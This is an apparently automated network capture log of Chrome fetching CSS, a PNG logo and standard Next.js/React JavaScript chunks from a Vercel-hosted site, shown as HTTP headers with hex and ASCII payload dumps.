2024-10-11 18:29:07 UTC	548	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="bf966d2a7834ad98.css" Content-Length: 1182 Content-Type: text/css; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "349657cf1ff8b258cba1fa1e7ff7d510" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/bf966d2a7834ad98.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::4bt86-1728671347291-f0f4302e07fd Connection: close
2024-10-11 18:29:07 UTC	1182	IN	Data Raw: 2e 48 6f 6d 65 5f 63 6f 6e 74 61 69 6e 65 72 5f 5f 64 32 35 36 6a 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 48 6f 6d 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 5f 6e 71 55 49 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b Data Ascii: .Home_container__d256j{height:100vh;display:flex;justify-content:center;align-items:center;position:relative;overflow:hidden}.Home_background__nqUIs{position:absolute;top:0;left:0;width:100%;height:100%;background:url(/background.jpg) no-repeat 50% fixed;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	581	OUT	GET /logo.png HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	495	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="logo.png" Content-Length: 11754 Content-Type: image/png Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "1907807f507d6545eaf042732672aca1" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /logo.png X-Vercel-Cache: HIT X-Vercel-Id: iad1::2v8kz-1728671347291-fb8141db6d9c Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 01 8a 08 03 00 00 00 d9 af 62 5c 00 00 00 54 50 4c 54 45 47 70 4c 00 c0 f4 00 73 ca 00 79 d8 00 75 cc 00 73 ca 00 73 cb 00 7d d1 00 71 c8 00 78 ce 00 aa ee 00 7f db 00 91 e3 00 64 bb 00 6b c2 00 aa ec 00 da ff ff ff ff 00 72 d5 00 6b d1 00 a9 ed 00 80 c1 01 8f d8 00 50 93 00 3e 74 00 74 ab 6c b3 e9 bb de f6 f9 bb e0 3e 00 00 00 0a 74 52 4e 53 00 b2 ff ff b4 e1 47 1e 88 6e 7c 8b b3 4b 00 00 20 00 49 44 41 54 78 da ec 9d 0b 77 db aa 12 85 cf 2d 6d 9c 04 19 9d e8 28 38 b1 ff ff ff bc b1 24 60 06 06 bd ac c4 95 d9 63 c7 0f 99 b4 5d 2b 5f 77 36 33 03 fc f3 0f 02 81 40 20 10 08 04 02 81 40 fc 73 78 7a 79 de 57 bc 3c e1 a7 86 f8 8a 97 3f c7 1d c6 9f df 07 fc e8 80 ee 71 af 01 7c 0b 8f e7 e3 8e e3 Data Ascii: PNGIHDRb\TPLTEGpLsyuss}qxdkrkP>ttl>tRNSGn\|K IDATxw-m(8$`c]+_w63@ @sxzyW<?q\|
2024-10-11 18:29:07 UTC	1060	IN	Data Raw: e7 cb 5b 1c 97 f3 d9 2a b9 09 3d b2 0e 6c a2 a6 82 71 58 bc 92 a2 c5 4a 8a 62 f3 bc 0c e0 d9 e8 56 02 b8 01 e0 8a 36 e2 d0 4e 48 1d 52 62 be 32 a1 15 11 de 7c b6 a1 16 d7 09 cb 93 38 2c 7d 2f c4 36 c8 ad 36 e3 b5 b5 11 72 1d bf dc fe 12 8e 89 49 d0 91 dd 4d 2a 6c f5 bc 35 6c 35 52 65 e5 2a ef c2 cd a3 cf 6f 73 e2 cc f6 75 d2 cc 0b ab d8 39 e4 95 b7 a6 cb d6 92 a9 5a cb 0f 11 c4 16 a7 a5 15 29 6c 94 73 98 b0 0e f3 d0 0d f8 aa 58 79 a9 d6 06 d1 f5 0c a3 25 12 f1 4d ca 3b 1f dd ab 79 a8 e2 86 73 41 79 89 f4 6a 21 cf bb aa 19 1d 13 b6 a2 3c ef 4c c7 70 79 5b 16 e7 e0 79 15 33 bb f4 89 c7 29 b6 0d 23 79 b1 ec 67 80 b7 14 e5 15 b6 2e 15 89 56 e7 b7 c5 71 89 f2 63 3a 4a f0 12 d1 d5 b2 6d 70 7b 33 b8 33 54 d8 d1 29 ad ef d4 61 43 00 6f 11 f0 da ef b2 0c 3e 2a d2 Data Ascii: [=lqXJbV6NHRb2\|8,}/66rIMl5l5Reosu9Z)lsXy%M;ysAyj!<Lpy[y3)#yg.Vqc:Jmp{33T)aCo>
2024-10-11 18:29:07 UTC	4744	IN	Data Raw: ff c6 09 70 77 df 28 55 e6 2b 11 be 05 dd d5 25 fc 09 db b9 21 80 77 ef f0 f6 3b 97 9f a5 1e 85 f8 60 14 79 f3 10 25 58 8e 73 2e c3 eb cc 43 33 bb 48 31 af 9f 97 2e df ac e9 d6 0e 35 69 ef 8d 87 00 de dd 2b 6f 47 e8 59 72 0d 34 c3 c0 8e 93 e0 04 4b 7e 99 ca 6e e3 3b 6a 7a 74 9b 46 50 de b5 b6 61 7c 3f d4 76 b4 53 12 f0 ee 19 de 50 ee bd 88 79 32 cd f7 88 26 8b 80 43 c6 41 7f 21 39 66 7a 1b 56 58 eb a6 6a cd 86 ca eb 56 ab 79 b7 e0 db 19 7c 6d 38 37 04 f0 ee 17 5e ca a5 16 3b 1b c3 6e e7 cc ec a6 d5 b3 8b d8 d5 db 90 46 86 61 96 36 e8 6e e3 8b 14 1b 67 1b f8 b2 35 31 db 40 86 00 de 9d c2 cb 76 e1 d7 55 a6 01 dd 2f 9d 60 2b 80 e9 d1 12 5d 88 a6 b7 91 26 6c 8d 9b ae 6d a6 bc ab 03 9e 77 77 f0 aa a4 3c 71 65 f1 9c 69 c9 51 d1 09 6a 5a d8 04 47 4b 75 8a b3 22 Data Ascii: pw(U+%!w;`y%Xs.C3H1.5i+oGYr4K~n;jztFPa\|?vSPy2&CA!9fzVXjVy\|m87^;nFa6ng51@vU/`+]&lmww<qeiQjZGKu"
2024-10-11 18:29:07 UTC	3578	IN	Data Raw: 3f 54 19 46 8f 7a 6f 4f d3 97 4b be 00 ef 35 6c 5e d7 ec 6b 11 55 38 a6 f3 34 1c ea 9d b5 18 e3 a6 ef 98 dc 83 18 e0 3d b3 cd eb 7c 16 dc 74 e9 4c 5f db 55 dc d4 45 ec 33 7c ec 77 57 2a 2f f8 2e 49 8b a0 d4 77 04 f3 5e d9 e6 75 93 db ef e6 84 ed 3b 69 3b ff a8 5d 65 8e 3a 24 1c 36 97 53 19 de 1d f2 f3 70 b3 d1 b7 7d 01 5e 98 0d 91 48 17 21 18 46 54 71 71 73 c2 79 ae 5f 5e e5 99 31 be 2d ce db af 5f f4 01 0f 00 ef 89 cd 86 b4 8b 95 eb fb 65 ab 0c 83 1b 7c 57 6c e6 db a9 36 3d af 32 a5 dc de d5 3a 0f 7a ad 24 c0 7b 39 e6 1e 7d 4a d5 00 00 0d 2f 49 44 41 54 3d 9e bc 53 6e f7 a9 d3 62 49 b9 e5 33 c6 00 ef 15 6c de 39 ed 35 37 9d cd 5e 55 b3 ca b4 ad ca b0 32 80 dd ca e6 cd ab 8c 5e a1 fa 5c 6d 36 16 a2 be 00 ef 99 a3 0d 5e 31 d7 f2 d5 ad 12 66 ed 2a 41 4c 78 Data Ascii: ?TFzoOK5l^kU84=\|tL_UE3\|wW/.Iw^u;i;]e:$6Sp}^H!FTqqsy_^1-_e\|Wl6=2:z${9}J/IDAT=SnbI3l957^U2^\m6^1fALx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	562	OUT	GET /_next/static/chunks/framework-64ad27b21261a9ce.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	585	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="framework-64ad27b21261a9ce.js" Content-Length: 139978 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "bf0dbea2c1509e290fc7ddbdd9477a3b" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/framework-64ad27b21261a9ce.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::fbgv2-1728671347313-17e7b3f6d889 Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 37 34 5d 2c 7b 34 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 2c 6c 2c 61 2c 75 2c 6f 2c 69 2c 73 3d 74 28 37 32 39 34 29 2c 63 3d 74 28 33 38 34 30 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 22 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 2d 64 65 63 6f 64 65 72 2e 68 74 6d 6c 3f 69 6e 76 61 72 69 61 6e 74 3d 22 2b 65 2c 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 6e 2b 3d 22 26 61 72 67 73 5b 5d 3d Data Ascii: "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]=
2024-10-11 18:29:07 UTC	970	IN	Data Raw: 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 6f 6c 73 22 2c 22 72 6f 77 73 22 2c 22 73 69 7a 65 22 2c 22 73 70 61 6e 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 36 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 72 6f 77 53 70 61 6e 22 2c 22 73 74 61 72 74 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 35 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 3b 76 61 72 20 78 3d 2f 5b 5c 2d 3a 5d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 31 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 Data Ascii: e,4,!1,e,null,!1,!1)}),["cols","rows","size","span"].forEach(function(e){S[e]=new w(e,6,!1,e,null,!1,!1)}),["rowSpan","start"].forEach(function(e){S[e]=new w(e,5,!1,e.toLowerCase(),null,!1,!1)});var x=/[\-:]([a-z])/g;function E(e){return e[1].toUpperCase(
2024-10-11 18:29:07 UTC	4744	IN	Data Raw: 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 22 22 2b 74 29 29 29 3a 61 2e 6d 75 73 74 55 73 65 50 72 6f 70 65 72 74 79 3f 65 5b 61 2e 70 72 6f 70 65 72 74 79 4e 61 6d 65 5d 3d 6e 75 6c 6c 3d 3d 3d 74 3f 33 21 3d 3d 61 2e 74 79 70 65 26 26 22 22 3a 74 3a 28 6e 3d 61 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 2c 72 3d 61 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 73 70 61 63 65 2c 6e 75 6c 6c 3d 3d 3d 74 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6e 29 3a 28 74 3d 33 3d 3d 3d 28 61 3d 61 2e 74 79 70 65 29 7c 7c 34 3d 3d 3d 61 26 26 21 30 3d 3d 3d 74 3f 22 22 3a 22 22 2b 74 2c 72 3f 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 53 28 72 2c 6e 2c 74 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 74 29 29 29 29 7d 22 61 63 63 65 Data Ascii: :e.setAttribute(n,""+t))):a.mustUseProperty?e[a.propertyName]=null===t?3!==a.type&&"":t:(n=a.attributeName,r=a.attributeNamespace,null===t?e.removeAttribute(n):(t=3===(a=a.type)\|\|4===a&&!0===t?"":""+t,r?e.setAttributeNS(r,n,t):e.setAttribute(n,t))))}"acce
2024-10-11 18:29:07 UTC	5930	IN	Data Raw: 6c 75 65 28 29 2c 72 3d 22 22 3b 72 65 74 75 72 6e 20 65 26 26 28 72 3d 4b 28 65 29 3f 65 2e 63 68 65 63 6b 65 64 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3a 65 2e 76 61 6c 75 65 29 2c 28 65 3d 72 29 21 3d 3d 74 26 26 28 6e 2e 73 65 74 56 61 6c 75 65 28 65 29 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 65 3d 65 7c 7c 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3f 64 6f 63 75 6d 65 6e 74 3a 76 6f 69 64 20 30 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7c 7c 65 2e 62 6f 64 79 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 7d 7d 66 75 6e 63 74 69 6f 6e 20 5a 28 Data Ascii: lue(),r="";return e&&(r=K(e)?e.checked?"true":"false":e.value),(e=r)!==t&&(n.setValue(e),!0)}function G(e){if(void 0===(e=e\|\|("undefined"!=typeof document?document:void 0)))return null;try{return e.activeElement\|\|e.body}catch(n){return e.body}}function Z(
2024-10-11 18:29:07 UTC	7116	IN	Data Raw: 2b 2b 29 65 4e 28 6e 5b 65 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 4c 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 65 52 28 29 7b 7d 76 61 72 20 65 4d 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 65 46 28 65 2c 6e 2c 74 29 7b 69 66 28 65 4d 29 72 65 74 75 72 6e 20 65 28 6e 2c 74 29 3b 65 4d 3d 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 4c 28 65 2c 6e 2c 74 29 7d 66 69 6e 61 6c 6c 79 7b 65 4d 3d 21 31 2c 28 6e 75 6c 6c 21 3d 3d 65 43 7c 7c 6e 75 6c 6c 21 3d 3d 65 50 29 26 26 28 65 52 28 29 2c 65 54 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 4f 28 65 2c 6e 29 7b 76 61 72 20 74 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 72 3d 72 55 28 74 29 3b Data Ascii: ++)eN(n[e])}}function eL(e,n){return e(n)}function eR(){}var eM=!1;function eF(e,n,t){if(eM)return e(n,t);eM=!0;try{return eL(e,n,t)}finally{eM=!1,(null!==eC\|\|null!==eP)&&(eR(),eT())}}function eO(e,n){var t=e.stateNode;if(null===t)return null;var r=rU(t);
2024-10-11 18:29:07 UTC	8302	IN	Data Raw: 61 73 65 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3a 76 61 72 20 61 3d 6c 2e 70 6f 69 6e 74 65 72 49 64 3b 72 65 74 75 72 6e 20 6e 53 2e 73 65 74 28 61 2c 6e 50 28 6e 53 2e 67 65 74 28 61 29 7c 7c 6e 75 6c 6c 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 29 2c 21 30 3b 63 61 73 65 22 67 6f 74 70 6f 69 6e 74 65 72 63 61 70 74 75 72 65 22 3a 72 65 74 75 72 6e 20 61 3d 6c 2e 70 6f 69 6e 74 65 72 49 64 2c 6e 78 2e 73 65 74 28 61 2c 6e 50 28 6e 78 2e 67 65 74 28 61 29 7c 7c 6e 75 6c 6c 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 29 2c 21 30 7d 72 65 74 75 72 6e 21 31 7d 28 6c 2c 65 2c 6e 2c 74 2c 72 29 29 72 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 65 6c 73 65 20 69 66 28 6e 43 28 65 2c 72 29 2c 34 26 6e 26 26 2d 31 3c 6e 5f 2e 69 6e 64 65 78 4f 66 28 65 29 29 7b 66 6f Data Ascii: ase"pointerover":var a=l.pointerId;return nS.set(a,nP(nS.get(a)\|\|null,e,n,t,r,l)),!0;case"gotpointercapture":return a=l.pointerId,nx.set(a,nP(nx.get(a)\|\|null,e,n,t,r,l)),!0}return!1}(l,e,n,t,r))r.stopPropagation();else if(nC(e,r),4&n&&-1<n_.indexOf(e)){fo
2024-10-11 18:29:07 UTC	6676	IN	Data Raw: 66 28 72 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7b 72 3d 72 2e 6e 65 78 74 53 69 62 6c 69 6e 67 3b 62 72 65 61 6b 20 65 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 3d 76 6f 69 64 20 30 7d 72 3d 74 55 28 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 24 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 6e 3d 47 28 29 3b 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 2e 48 54 4d 4c 49 46 72 61 6d 65 45 6c 65 6d 65 6e 74 3b 29 7b 74 72 79 7b 76 61 72 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 63 61 74 63 68 28 65 29 7b 74 3d 21 31 7d 69 66 28 74 29 65 3d 6e 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 3b 65 6c 73 65 20 62 72 65 61 6b 3b 6e 3d 47 28 Data Ascii: f(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=tU(r)}}function t$(){for(var e=window,n=G();n instanceof e.HTMLIFrameElement;){try{var t="string"==typeof n.contentWindow.location.href}catch(e){t=!1}if(t)e=n.contentWindow;else break;n=G(
2024-10-11 18:29:07 UTC	10674	IN	Data Raw: 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 63 61 6e 63 65 6c 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 64 6f 77 6e 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6d 6f 76 65 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6f 75 74 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 6f 76 65 72 22 3a 63 61 73 65 22 70 6f 69 6e 74 65 72 75 70 22 3a 69 3d 74 75 7d 76 61 72 20 63 3d 30 21 3d 28 34 26 6e 29 2c 66 3d 21 63 26 26 22 73 63 72 6f 6c 6c 22 3d 3d 3d 65 2c 64 3d 63 3f 6e 75 6c 6c 21 3d 3d 6f 3f 6f 2b 22 43 61 70 74 75 72 65 22 3a 6e 75 6c 6c 3a 6f 3b 63 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 70 2c 6d 3d 72 3b 6e 75 6c 6c 21 3d 3d 6d 3b 29 7b 76 61 72 20 68 3d 28 70 3d 6d 29 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 35 3d 3d 3d 70 2e 74 61 67 26 26 6e 75 6c 6c 21 3d 3d 68 26 Data Ascii: ":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":i=tu}var c=0!=(4&n),f=!c&&"scroll"===e,d=c?null!==o?o+"Capture":null:o;c=[];for(var p,m=r;null!==m;){var h=(p=m).stateNode;if(5===p.tag&&null!==h&
2024-10-11 18:29:07 UTC	11860	IN	Data Raw: 67 29 26 26 28 6e 3d 22 68 65 61 64 22 21 3d 3d 28 6e 3d 65 2e 74 79 70 65 29 26 26 22 62 6f 64 79 22 21 3d 3d 6e 26 26 21 72 62 28 65 2e 74 79 70 65 2c 65 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 29 29 2c 6e 26 26 28 6e 3d 6c 63 29 29 7b 69 66 28 6c 68 28 65 29 29 74 68 72 6f 77 20 6c 62 28 29 2c 45 72 72 6f 72 28 66 28 34 31 38 29 29 3b 66 6f 72 28 3b 6e 3b 29 6c 70 28 65 2c 6e 29 2c 6e 3d 72 43 28 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 69 66 28 6c 76 28 65 29 2c 31 33 3d 3d 3d 65 2e 74 61 67 29 7b 69 66 28 21 28 65 3d 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 29 3f 65 2e 64 65 68 79 64 72 61 74 65 64 3a 6e 75 6c 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 33 31 37 29 29 3b 65 3a 7b 66 6f 72 28 6e 3d 30 2c Data Ascii: g)&&(n="head"!==(n=e.type)&&"body"!==n&&!rb(e.type,e.memoizedProps)),n&&(n=lc)){if(lh(e))throw lb(),Error(f(418));for(;n;)lp(e,n),n=rC(n.nextSibling)}if(lv(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(f(317));e:{for(n=0,
2024-10-11 18:29:07 UTC	10234	IN	Data Raw: 3d 3d 61 6c 26 26 6e 75 6c 6c 21 3d 3d 61 6c 2e 6e 65 78 74 2c 61 74 3d 30 2c 61 61 3d 61 6c 3d 61 72 3d 6e 75 6c 6c 2c 61 75 3d 21 31 2c 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 33 30 30 29 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 61 70 28 29 7b 76 61 72 20 65 3d 30 21 3d 3d 61 69 3b 72 65 74 75 72 6e 20 61 69 3d 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 61 6d 28 29 7b 76 61 72 20 65 3d 7b 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3a 6e 75 6c 6c 2c 62 61 73 65 53 74 61 74 65 3a 6e 75 6c 6c 2c 62 61 73 65 51 75 65 75 65 3a 6e 75 6c 6c 2c 71 75 65 75 65 3a 6e 75 6c 6c 2c 6e 65 78 74 3a 6e 75 6c 6c 7d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 61 3f 61 72 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3d 61 61 3d 65 3a 61 61 3d 61 61 2e Data Ascii: ==al&&null!==al.next,at=0,aa=al=ar=null,au=!1,n)throw Error(f(300));return e}function ap(){var e=0!==ai;return ai=0,e}function am(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===aa?ar.memoizedState=aa=e:aa=aa.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	560	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	579	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1927 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "a5a164883ba97bbaf69d369ee89a8c55" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::nfcdj-1728671347291-dae128ed3306 Connection: close
2024-10-11 18:29:07 UTC	1927	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
